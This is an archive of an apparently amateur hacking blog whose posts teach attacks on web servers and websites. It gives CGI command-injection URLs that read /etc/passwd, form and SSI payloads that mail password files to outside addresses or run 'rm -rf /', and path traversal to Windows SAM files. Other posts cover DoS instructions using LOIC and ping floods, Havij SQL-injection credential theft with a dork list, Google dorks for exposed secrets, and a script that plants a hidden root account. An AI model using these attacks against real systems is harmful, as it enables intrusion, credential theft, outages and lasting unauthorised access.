Showing posts with label how to hack web server. Show all posts
Showing posts with label how to hack web server. Show all posts
Friday, April 22, 2011
Saturday, March 19, 2011
How to use web server as an attack tool?
All about webserver....
What is phf?
The phf file is an example CGI script that is used to update a phonebook style listing of people. By default, a lot of sites have this file sitting in /cgi-bin and don't even know it. You know, they installed everything to default. However, the phf file behaves "differently" if thrown a newline (0a) character. Here's the common attack for a Unix server:http://example.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwdOr better yet, a series of commands:
http://example.com/cgi-bin/phf?%0aid==haqr==_phone=The above commands are:
http://example.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser==haqr==_phone=
http://example.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd%0A==haqr==_phone=
http://example.com/~someuser/passwd
http://example.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd==haqr==_phone=
idYou get the point. You could try to access the files directly ormove them to another location for retrieval. We've used a Unix target as an example since it is most common, but NT commands will work on a NT server just fine, too.
ls -la ~someuser
cp /etc/passwd ~someuser/passwd
(normal URL access to get the passwd file)
rm ~someuser/passwd
What's the "test" hack?
There is a test CGI script included with most servers that can be used tomake sure environment variables and other information is being passed to the server properly during queries. This example file is called, appropriately, "test-cgi" on most systems. Here's how it works:http://example.com/cgi-bin/test-cgi?\whateverThe response will be something like...
Once again, the 0a character can be used to try to get this file to do otherthings, or you could simply try an asterisk:CGI/1.0 test script report:
argc is 0. argv is .
SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = example.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
http://example.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwdThese might get you a list of files in /cgi-bin:
- http://example.com/cgi-bin/test-cgi?*
- http://example.com/cgi-bin/test-cgi?x*
- http://example.com/cgi-bin/nph-test-cgi?*
- http://example.com/cgi-bin/nph-test-cgi?x*
What about that "~" character?
The "~", or tilde (pronounced "til-day"), is used during a resolve of a URL by the server as a shorthand for getting directly to user files. During server setup an admin can define a UserDir to something like /public_html so that ~ replaces /public_html when getting to a user's directory. Some Unix servers that do not have a /public_html may attempt to resolve to the home directory listed in /etc/passwd.For example, this URL might return some interesting information:
http://example.com/~rootIf the server wasn't locked down good enough, bingo! Root directory of the server, and you can get to every public readable file:
http://example.com/~root/etc/passwdSome admins may patch things with a symbolic link on the root of the file system to the top of the tree, but this still doesn't fix the second entry above. Only careful checking of the configuration of your specific web server as an admin will make sure you are okay. And not just root, but every user on the system, including putting a tilde in front of bin, daemon, uucp, etc. could compromise a system. The account does not have to have a valid shell or password, just a home directory of / will do quite nicely.
What is the jj.c problem?
The demo CGI program jj.c calls /bin/mail without filtering user input, so any program based on jj.c could potentially be exploited by simply adding a "|" followed by a Unix command. It may require a password, but two known passwordsinclude HTTPdrocks and SDGROCKS. If you can retrieve a copy of the compiled program, running strings on it will probably reveal the password.Do a search for jj.c to get a copy and study the code yourself if you havemore questions.
What's the deal with forms?
Here's the typical example: A web author has a form on a page that allows thepublic to send email to a certain address. But what if the author is going tobe on vacation? What if the address needs to be changed each month? By includingthe address in the form the web author doesn't have to change the CGI script.Outside of the normal fields for From:, Subject:, etc. there is usually something in the form like this:<INPUT TYPE="hidden" NAME="HelpAddress" VALUE="help@example.com <mailto:VALUE=>">After clicking on the submit button, it goes to a CGI script. Once again, it is typical to write out the info to a temp file and then read it back in to be sent to sendmail:/* code snippet in C, although you can do the same type thing in Perl */
sprintf(buffer, "/usr/lib/sendmail -t %s < %s", foo_address, input_file);
system(buffer);A shell is being forked, and since in the code above the variables are being passed without being checked for extra stuff, you could copy the page locally (virtually every browser allows you to save the current document as a local HTML file). Once copied, edit the form to include the following:<INPUT TYPE="hidden" NAME="HelpAddress" VALUE="help@example.com
<mailto:VALUE=>;cat /etc/passwd | mail thegnome@5th.column.gov
<mailto:thegnome@5th.column.gov>">Note the addition of the semicolon. The semicolon tells the forkedshell it has another completely separate command to run, which in thisexample sends the passwd file to a government spy.It should be pointed out that, for the most part, you will have no idea that this type of technique is going to work until you try it. Look around, and you will sometimes see these attempts at various places. It's always funny to see this entry in a guestbook:
From: fred@kissmybutt.com mailto:fred@kissmybutt.com (200.200.200.200, 7/7/96 09:10 a.m. CST)
Loved your web page. Looks nice.;mail phil@idiot.com <mailto:phil@idiot.com> < cat /etc/passwdNot only does it have Phil's email address, but his real IP address and a time stamp. Ouch! So hackers, if you want to be evil, try forging your IP address and sending the passwd file to a remailer.What will this look like in the target's log files?
Here is an example:example.com unknown - [27/Sep/1996:02:28:29 +0000] "GET /cgi-bin/phf?Jser
ver=dummy.edu%0Aid%0A==foo==_phone=
==_school== HTTP/1.0" 200 116
example.com unknown - [27/Sep/1996:02:29:04 +0000] "GET /cgi-bin/phf?Jser
ver=dummy.edu%0Acat%20/etc/passwd%0A==foo==
_phone===_school== HTTP/1.0" 200 7241
example.com unknown - [27/Sep/1996:02:29:57 +0000] "GET /cgi-bin/phf?Jser
ver=dummy.edu%0Auname%20-a%0A==foo==e_phone===_school== HTTP/1.0" 200 154
example.com unknown - [27/Sep/1996:02:31:30 +0000] "GET /cgi-bin/phf?Jser
ver=dummy.edu%0Acat%20/etc/shadow%0A==foo==
_phone===_school== HTTP/1.0" 200 105
example.com unknown - [27/Sep/1996:02:32:06 +0000] "GET /cgi-bin/phf?Jser
ver=dummy.edu%0Als%20-la%20/etc/shadow%0A==foo=name=_phone===_school== HTTP/1.0" 200 175example.com unknown - [27/Sep/1996:02:35:44 +0000] "GET /cgi-bin/phf?
Jserver=dummy.edu%0Als%20-la%20/etc/shadow%0A==foo=nickname=_phone===_school== HTTP/1.0" 200 175
example.com unknown - [27/Sep/1996:02:38:24 +0000] "GET /cgi-bin/phf?
Jserver=dummy.edu%0Agrep%20ftp%20/etc/passwd%0A==foo=
=_phone===_school== HTTP/1.0" 200 138
example.com unknown - [27/Sep/1996:02:40:21 +0000] "GET /cgi-bin/phf?
Jserver=dummy.edu%0Acp%20/etc/passwd%20%7Eftp/incoming%0A==f
oo==_phone===_school== HTTP/1.0" 200 119
example.com unknown - [27/Sep/1996:02:40:46 +0000] "GET /cgi-bin/phf?
Jserver=dummy.edu%0Aid%0A==foo==_ph
one===_school== HTTP/1.0" 200 116
example.com unknown - [27/Sep/1996:02:41:22 +0000] "GET /cgi-bin/phf?
Jserver=dummy.edu%0Als%0A==foo==_ph
one===_school== HTTP/1.0" 200 300
example.com unknown - [27/Sep/1996:02:43:18 +0000] "GET /cgi-bin/phf?
Jserver=dummy.edu%0Als%20%7Eftp/incoming%0A==foo=ckname=_phone===_school== HTTP/1.0"200 107
Two attacks. The first one involves trying to access /etc/passwd and /etc/shadow, with attempts to determine what id httpd is running under, with failed attempts at the passwd file. The second is a little more interesting. Since /etc/shadow can't be accessed directly, the attacker tries to move the file to anonymous FTP's incoming directory for an alternate method of retrieval.
What's the deal with Server-Side Includes?
A Server-Side Include (SSI) is a way to imbed special operations and commandsinto an HTML document. The potential for abuse is there when they are combinedwith CGI and the modification of HTML.The biggest example is the guestbook. Typically, the common guestbook serves no real purpose except as a vanity, but they can be used as a point of attack. The idea is simple: Hacker fills out guestbook form and includes an SSI.Via CGI, the form is appended to the guestbook which is typically just anHTML document. Next person that views the guestbook activates the SSI. So what is bad? Consider these SSIs:
- <!--#exec cmd="rm -rf /"-->
- <!--#exec cmd="mail hacker@example.com <mailto:hacker@example.com> < cat /etc/passwd"-->
- <!--#exec cmd="chmod 777 ~ftp/incoming/uploaded_hack_script"-->
- <!--#exec cmd="~ftp/incoming/uploaded_hack_script"-->
- <!--#exec cmd="find / -name foobar -print"-->
What if SSIs are turned on but includes are stripped from user input?
If SSIs are allowed, you may still have a way to use them. If there is another method of user input, such as a completely separate script, it could possibly be exploited. Granted, if you could access the system via a separate script you probably won't be messing with SSI, but if an anon FTP "/incoming" directory is in place and you can view an uploaded file via your browser, you could include the SSI stuff into an HTML file you've uploaded and then access it to run the SSI. Also, local users to the web server could do the same things.What is SSL?
SSL (Secure Socket Layer) is a encryption and user authentication standard for the Web. The basic idea behind the encryption is to encode the text of a message with a key. There are two ways to encrypt: symmetric (the same key is used for encoding and decoding) and asymmetric (one key is used for encoding and another for decoding). In the latter, there are a pair of keys that work together, one being the public key for encoding, and the other being a private key for decoding. A typical implementation would use both - an asymmetric system would be used to transmit a symmetric key good for the current session.For this to work in a web environment, you need the scheme built into thebrowser and the server. SSL uses low level encryption to encrypt transactions in higher-level protocols such as HTTP, NNTP and FTP. The client authentication really isn't happening yet, and until some type of universal signature method is used (like Verisign) to sign clients, the only advantage is the message encryption. There is still no guarantee that you are who you say you are. Layman's terms? Look at your Site Certificates. These can be used to create a secure connection. You could still send a fake credit card number and claim you are Joe Blow, but at least your message could not be intercepted ;-)
How can I attack anonymously?
There are a couple of ways to do this. First off, you could use a proxy. In the log files, the proxy's address will be there, not yours. Of course the disadvantage is in case the target contacts the proxy site and the proxy site supplies the target with log info.It is possible, even desirable, to chain proxies to cover your tracks. This assumes there are no limitations on the proxy, such as they only allow certain addresses to be proxied.
Of course, since you don't need a browser to hack ('telnet targetaddress 80' will work just the same), you can use traditional hack methods such as IP address spoofing or attacking from another location other than your home account. Using methods like these will probably mean you'll need to tack on a "|mail hacker@remailer.example.com" to the end of each attempt so you can see the results.
What is the asp dot attack?
Well, it's hardly an attack, but worth mentioning. Microsoft's Active Server Pages are dynamic pages, and are often used to do things such as control access to other pages or systems. Obviously, accessing the page's source would give the browsing party this info, which is usually not the intent of the author. Instead of accessing like so...http://www.example.com/secret/files/default.asp
... add a dot on the end...http://www.example.com/secret/files/default.asp....and this may yield the source code of the NT server's html page.
What is the campas attack?
The campas attack refers to an old NCSA script called campas.sh whichaccepted newlines.For example:
http://www.example.com/cgi-bin/campas?%0acat%0a/etc/passwd%0aThis is old (version 1.2) and typically not found on most systems.
What is the count.cgi attack?
Versions earlier than 2.4 are susceptable to buffer overflows. Theversion of count.cgi is 2.5.What is the faxsurvey attack?
If the HylaFAX package is installed (common on some older Linuxdistributions), you can send arbitrary commands running as theUID of the web server:http://www.example.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
What about finger.cgi?
Found on some systems, it allows you to finger a user via yourweb browser. The fingered site has the web server's IP address intheir logs, not yours. If a site has this cgi script installedbut finger traffic is blocked at their firewall, you could possiblyfinger hosts behind the firewall:http://www.example.com/cgi-bin/finger\?thegnome@vortex.nmrc.org
What is the glimpse exploit?
If a site is running Glimpse HTTP and uses the standard scripts,arbitrary commands can be issued. This is a long line of text, but you should be able to figure it out:http://www.example.com/cgi-bin/aglimpse/80IFS=5;CMD=5mail5thegnome\@nmrc.org\ <mailto:thegnome\@nmrc.org\>passwd;eval$CMD
What are some other CGI scripts that allow remote command execution?
Anything below version 2.9932 of the Htmlscript CGI allows forremote execution of commands. So does versions earlier than 1.2 ofinfo2www. Also earlier versions of view_source.cgi, webdist.cgi,webgais.cgi, and websendmail.cgi are vulnerable.We don't have the syntax handy, so look at the multitudeof other web sploits in this FAQ and guess the url... ;-)
What are the MetaInfo attacks?
MetaInfo puts out a couple of NT products, such as MetaIP and a port ofthe Unix Sendmail program. These can be remotely managed by a web browserat port 5000 (the default). These can be exploited.For the MetaInfo Sendmail:
http://www.example.com:5000/../../winnt/repair/sam - Gets the SAM
http://www.example.com:5000/../smusers.txt - Gets the POP3 password file
For MetaIP (note 3 nested levels back to c:\ instead of 2):
http://www.example.com:5000/../../../winnt/repair/sam - Gets the SAM
You can also execute arbitrary commands (this assumes Sendmail):
http://www.example.com:5000/../../winnt/system32/net.exe?use%20 etc etcWith this, you can have all kinds of fun, especially if the ResourceKit is used as there are a large number of command line utilities youcan use. If the NT box is the sendmail server and the firewall, oddsare you will be able to own the entire company.
Thanks....
Sunday, February 13, 2011
How to hack websites via DDOS (Denial of Service Attack)?
There are many tools like SQLI Helper, Admin Finder and many ways like SQL Injection used to hack website or in proper words, deface a website.
Today, I am posting a simple but useful website hacking software- LOIC (Low Orbit Ion Cannon). LOIC is used to hack website by implementing DOS or DDOS attack which temporarily takes a website down. I have provided link for software download... just read on.
Note: The article is meant for educational purpose only. I am not responsible for any act done by you. Remember, hacking website is legally offensive and can take you behind the bars.
Hack Website using DOS attack:
A DOS (Denial Of Service) attack is implemented by sending large number of requests to a web server. Due to large requests, web server clogs up and is unable to respond to other requests. Excess packet traffic in the network leads to congestion and consequently, the web server shuts down, restarts or atleast is unable to serve other clients. Thus, it appears that the website it down. And we are able to temporarily hack website using DOS attack.
How to use LOIC to hack Website???
1. Free download Low Orbit Ion Cannon software to hack website.
Password: qq
2. Run LOIC.exe file on your computer to see:
4. In Attack Options, assign "9001" as timeout value. Enter any number of threads you want LOIC to use. The number of threads refers to the number of virtual computers, LOIC will try to immitate.
5. Now, hit on "IMMA CHARGIN MAH LAZER" so that LOIC starts DOS attack on the website.
Note: A single instance of this software doesn't take a website down. If you really want to hack website using LOIC, run multiple instances of LOIC on multiple computers and DOS the website using these hundreds of LOIC instances. Then, you have hope of taking down a website.
So guys, this was all about how to hack website using DOS attack and LOIC. As you might have seen, you can hack website if you are running multiple instances of LOIC. If you have any problem in this tutorial to hack website using LOIC, please mention it in comments.
Enjoy LOIC to hack website using DOS attack...
Hack Websites...
Here is tool tht will reduce your efforts to hack any websites...
Download Havij v1.14
1.First Find a sqli infected site
2-Open havij and copy and paste infected link as shown in figure
3. Then It shows some messages there....Be alert on it and be show patience for sometime to find it's vulernable and type of injection and if db server is mysql and it will find database name.Then after get it's database is name like xxxx_xxxx
![[Image: thirdk.jpg]](http://a.imageshack.us/img24/1431/thirdk.jpg)
4.Then Move to another operation to find tables by clicking "tables" as figure shown.Now click "Get tables" Then wait some time if needed
![[Image: 37846594.jpg]](http://a.imageshack.us/img42/8031/37846594.jpg)
5. After founded the tables ,you can see there will be "users" Put mark on it and click in the " get columns " tab as shown in figure
![[Image: 4tgh.jpg]](http://a.imageshack.us/img208/9447/4tgh.jpg)
6. In that Just put mark username and password and click "Get data"
![[Image: 5tht.jpg]](http://a.imageshack.us/img20/2046/5tht.jpg)
8. Bingo Got now id and pass that may be admin...
The pass will get as md5 you can crack it also using this tool as shown in figure..
![[Image: srfile201088142733796.jpg]](http://a.imageshack.us/img30/1849/srfile201088142733796.jpg)
*************************************************************************
HOW TO FInD SQL VU SITES
GO HERE
Quote:http://lnk.co/GP51L
THE GREEN COLLOUR MEAN there is SQL Injection Vulnerability
like this in the pic
![[Image: 580714054.jpg]](http://img104.herosh.com/2011/01/17/580714054.jpg)
SQL Dorks
Quote:Aqui les dejo unas cuantas Dorks para buscar webs vulnerables:
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:lay_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:ageid=
inurl:games.php?id=
inurl:age.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:rtray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurlinions.php?id=
inurl:spr.php?id=
inurl:ages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:articipant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:rod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:erson.php?id=
inurlroductinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:rofile_view.php?id=
inurl:category.php?id=
inurl:ublications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:rod_info.php?id=
inurl:shop.php?do=part&id=
inurl:roductinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurlroduct.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:roduit.php?id=
inurlp.php?id=
inurl:shopping.php?id=
inurl:roductdetail.php?id=
inurlst.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:age.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:roduct_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurlinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:ffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
Friday, January 7, 2011
How to use DDOS to down any PC/SERVER?
DoS Attack With Your Home Pc To Any WebSite U Want To Be Killed!!
------------------------
DoS Attack Stands For Denial of Service Attack
------------------------
What Is DoS?
Denial of Service (DoS) attackes are aggressive attacks on anindividual Computer or WebSite with intent to deny services to intendedusers.
DoS attackes can target end-user systems, servers, routers and Network links(websites)
Requirments:
1- Command Prompt (CMD or DOS) Which is usually integrated in all Windows.
2- Ip-Address of Targeted Site.
How TO GET IP OF ANY SITE??"
No problem.. here is the solution..
open ur CMD (command prompt).. and type
--------------------------------------------------
nslookup Site-Name--------------------------------------------------
(e.g nslookup www.google.com)
It will show u ip of the site.
ohk now write this command in CMD For Attack on Any Site/ Server..
---------------------------------------------------
ping SITE-IP -l 65500 -n 10000000 -w 0.00001---------------------------------------------------
-n 10000000= the number of DoS attemps.. u can change the value "10000000" with ur desired value u want to attempt attack.
SITE-IP= Replace the text with the ip address of the site u want to be attacked..
-w 0.00001 = It is the waiting time after one ping attack.
NOTE: Dont Change or Remove -l, -n and -w in this command.. otherwise u will not able to attack!!
---------------
This All System Is Known As "PING OF DEATH"
FOR MORE INFO,, CONTACT ME...
tHANKS
Friday, December 31, 2010
How to use Google for hacking? (Google hacks)
Google search engine can be used to hack into remote servers or gatherconfidential or sensitive information which are not visible throughcommon searches.
Google is the world’s most popular and powerfulsearch engine. It has the ability to accept pre-defined commands asinputs which then produces unbelievable results.
Google’s Advanced Search Query Syntax
Discussedbelow are various Google’s special commands and I shall be explainingeach command in brief and will show how it can be used for gettingconfidential data.
[ intitle: ]The “intitle:” syntax helps Google restrict the search results to pages containing that word in the title.
intitle: login passwordwill return links to those pages that has the word "login" in their title, and the word "password" anywhere in the page.
Similarly,if one has to query for more than one word in the page title then inthat case “allintitle:” can be used instead of “intitle” to get thelist of pages containing all those words in its title.
intitle: login intitle: passwordis same as
allintitle: login password
[ inurl: ]The“inurl:” syntax restricts the search results to those URLs containingthe search keyword.
For example: “inurl: passwd” (without quotes) willreturn only links to those pages that have "passwd" in the URL.
Similarly,if one has to query for more than one word in an URL then in that case“allinurl:” can be used instead of “inurl” to get the list of URLscontaining all those search keywords in it.
allinurl: etc/passwdwill look for the URLs containing “etc” and “passwd”. The slash (“/”) between the words will be ignored by Google.
[ site: ]The “site:” syntax restricts Google to query for certain keywords in a particular site or domain.
exploits site:google.comwilllook for the keyword “exploits” in those pages present in all the linksof the domain “google.com”. There should not be any spacebetween “site:” and the “domain name”.
[ filetype: ]This “filetype:” syntax restricts Google search for files on internet with particular extensions (i.e. doc, pdf or ppt etc).
filetype:doc site:gov confidentialwilllook for files with “.doc” extension in all government domains with“.gov” extension and containing the word “confidential” either in thepages or in the “.doc” file. i.e. the result will contain the links toall confidential word document files on the government sites.
[ link: ]“link:” syntax will list down webpages that have links to the specified webpage.
link:www.expertsforge.comwilllist webpages that have links pointing to the SecurityFocus homepage.Note there can be no space between the "link:" and the web page url.
[ related: ]The “related:” will list web pages that are "similar" to a specified
web page.
related:www.expertsforge.comwilllist web pages that are similar to the Securityfocus homepage. Notethere can be no space between the "related:" and the web page url.
[ cache: ]The query “cache:” will show the version of the web page that Google has in its cache.
cache:www.pctipsbyanu.tkwill show Google's cache of the Google homepage. Note there can be no space between the "cache:" and the web page url.
If you include other words in the query, Google will highlight those words within the cached document.
cache:www.pctipsbyanu.tk guestwill show the cached content with the word "guest" highlighted.
[ intext: ]The “intext:” syntax searches for words in a particular website. It ignores links or URLs and page titles.
intext:exploitswill return only links to those web pages that has the search keyword "exploits" in its webpage.
[ phonebook: ]“phonebook” searches for U.S. street address and phone number information.
phonebook:Anu+INwilllist down all names of person having “Anu” in their names and locatedin “India(IN)”. This can be used as a great tool for hackersincase someone want to do dig personal information for socialengineering.
Google Hacks
Well, the Google’s querysyntaxes discussed above can really help people to precise their searchand get what they are exactly looking for.
Now Google being sointelligent search engine, hackers don’t mind exploiting its ability todig much confidential and secret information from the net which theyare not supposed to know. Now I shall discuss those techniques indetails how hackers dig information from the net using Google and howthat information can be used to break into remote servers.
Index OfUsing “Index of ” syntax to find sites enabled with Index browsing
Awebserver with Index browsing enabled means anyone can browse thewebserver directories like ordinary local directories. The use of“index of” syntax to get a list links to webserver which has gotdirectory browsing enabled will be discussd below. This becomes an easysource for information gathering for a hacker. Imagine if the get holdof password files or others sensitive files which are not normallyvisible to the internet. Below given are few examples using which onecan get access to many sensitive information much easily.
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
Looking for vulnerable sites or servers using “inurl:” or “allinurl:”
a.Using “allinurl:windows/system32/” (without quotes) will list down allthe links to the server which gives access to restricted directorieslike “system32” through web. If you are lucky enough then you might getaccess to the cmd.exe in the “system32” directory. Once you have theaccess to “cmd.exe” and is able to execute it.
b. Using“allinurl:wwwboard/passwd.txt”(without quotes) in the Google searchwill list down all the links to the server which are vulnerable to“WWWBoard Password vulnerability”. To know more about thisvulnerability you can have a look at the following link: HERE
c.Using “inurl:.bash_history” (without quotes) will list down all thelinks to the server which gives access to “.bash_history” file throughweb. This is a command history file. This file includes the list ofcommand executed by the administrator, and sometimes includes sensitiveinformation such as password typed in by the administrator. If thisfile is compromised and if contains the encrypted unix (or *nix)password then it can be easily cracked using “John The Ripper”.
d.Using “inurl:config.txt” (without quotes) will list down all the linksto the servers which gives access to “config.txt” file through web.This file contains sensitive information, including the hash value ofthe administrative password and database authentication credentials.
ForExample: Ingenium Learning Management System is a Web-based applicationfor Windows based systems developed by Click2learn, Inc. IngeniumLearning Management System versions 5.1 and 6.1 stores sensitiveinformation insecurely in the config.txt file. For more informationrefer the following
links: HERE
Other similar search using “inurl:” or “allinurl:” combined with other syntax
inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:iisadmin
inurl:auth_user_file.txt
inurl:orders.txt
inurl:"wwwroot/*."
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php
inurl:gov filetype:xls "restricted"
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
Looking for vulnerable sites or servers using “intitle:” or “allintitle:”
a.Using [allintitle: "index of /root”] (without brackets) will list downthe links to the web server which gives access to restricteddirectories like “root” through web. This directory sometimes containssensitive information which can be easily retrieved through simple webrequests.
b. Using [allintitle: "index of /admin”] (withoutbrackets) will list down the links to the websites which has got indexbrowsing enabled for restricted directories like “admin” through web.Most of the web application sometimes uses names like “admin” to storeadmin credentials in it. This directory sometimes contains sensitiveinformation which can be easily retrieved through simple web requests.
Other similar search using “intitle:” or “allintitle:” combined with other syntax
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
Other interesting Search Queries
- To search for sites vulnerable to Cross-Sites Scripting (XSS) attacks:
allinurl:/scripts/cart32.exe
allinurl:/CuteNews/show_archives.php
allinurl:/phpinfo.php
- To search for sites vulnerable to SQL Injection attacks:
allinurl:/privmsg.phpFor more hacks n tips you can leave a comment or contact me on "pctipsbyanu@yahoo.com OR pctipsbyanu@gmail.com"
Thanks..
How to hack remote linux computer/server? (Hack remote pc...)
This article is intended to show youhow to hold onto root once you have it. It is intended for hackers andadministrators alike. From a hacking perspective, it is obvious what good thispaper will do you.
Ok..... You've been at it for allnight.
Trying all the exploits you can think of.
The system seems tight.
Thesystem looks tight.
The system *is* tight.
You've tried everything.
Defaultpasswds, guessable passwds, NIS weaknesses, NFS holes, incorrect permissions,race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT!What's that!?!? A "#" ????
Trying all the exploits you can think of.
The system seems tight.
Thesystem looks tight.
The system *is* tight.
You've tried everything.
Defaultpasswds, guessable passwds, NIS weaknesses, NFS holes, incorrect permissions,race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT!What's that!?!? A "#" ????
Finally! After seeming endless toiling,you've managed to steal root. Now what? How do you hold onto this precioussuper-user privilege you have worked so hard to achieve....?
This article is intended to show youhow to hold onto root once you have it. It is intended for hackers andadministrators alike. From a hacking perspective, it is obvious what good thispaper will do you. Admin's can likewise benefit from this paper. Ever wonderhow that pesky hacker always manages to pop up, even when you think you'vecompletely eradicated him from your system? This list is BY NO MEANScomprehensive. There are as many ways to leave backdoors into a UNIX computeras there are ways into one.
Beforehand
Know the location of critical systemfiles. This should be obvious (If you can't list any of the top of your head,stop reading now, get a book on UNIX, read it, then come back to me...).
Familiarity with passwd file formats (including general 7 field format, systemspecific naming conventions, shadowing mechanisms, etc...). Know vi.
Manysystems will not have those robust, user-friendly editors such as Pico andEmacs. Vi is also quite useful for needing to quickly seach and edit a largefile. If you are connecting remotely (via dial-up/telnet/rlogin/whatver) it'salways nice to have a robust terminal program that has a nice, FAT scrollbackbuffer. This will come in handy if you want to cut and paste code, rc files,shell scripts, etc...
Familiarity with passwd file formats (including general 7 field format, systemspecific naming conventions, shadowing mechanisms, etc...). Know vi.
Manysystems will not have those robust, user-friendly editors such as Pico andEmacs. Vi is also quite useful for needing to quickly seach and edit a largefile. If you are connecting remotely (via dial-up/telnet/rlogin/whatver) it'salways nice to have a robust terminal program that has a nice, FAT scrollbackbuffer. This will come in handy if you want to cut and paste code, rc files,shell scripts, etc...
The permenance of these backdoorswill depend completely on the technical saavy of the administrator. Theexperienced and skilled administrator will be wise to many (if not all) ofthese backdoors. But, if you have managed to steal root, it is likely the adminisn't as skilled (or up to date on bug reports) as she should be, and many ofthese doors may be in place for some time to come. One major thing to be awareof, is the fact that if you can cover you tracks during the initial break-in,no one will be looking for back doors.
The Overt
[1] Add a UID 0 account to the passwd file.
This is probablythe most obvious and quickly discovered method of rentry. It flies a red flagto the admin, saying "WE'RE UNDER ATTACK!!!".
If you must do this, myadvice is DO NOT simply prepend or append it. Anyone causally examining thepasswd file will see this. So, why not stick it in the middle...
This is probablythe most obvious and quickly discovered method of rentry. It flies a red flagto the admin, saying "WE'RE UNDER ATTACK!!!".
If you must do this, myadvice is DO NOT simply prepend or append it. Anyone causally examining thepasswd file will see this. So, why not stick it in the middle...
#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# codemobile@yahoo.com
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
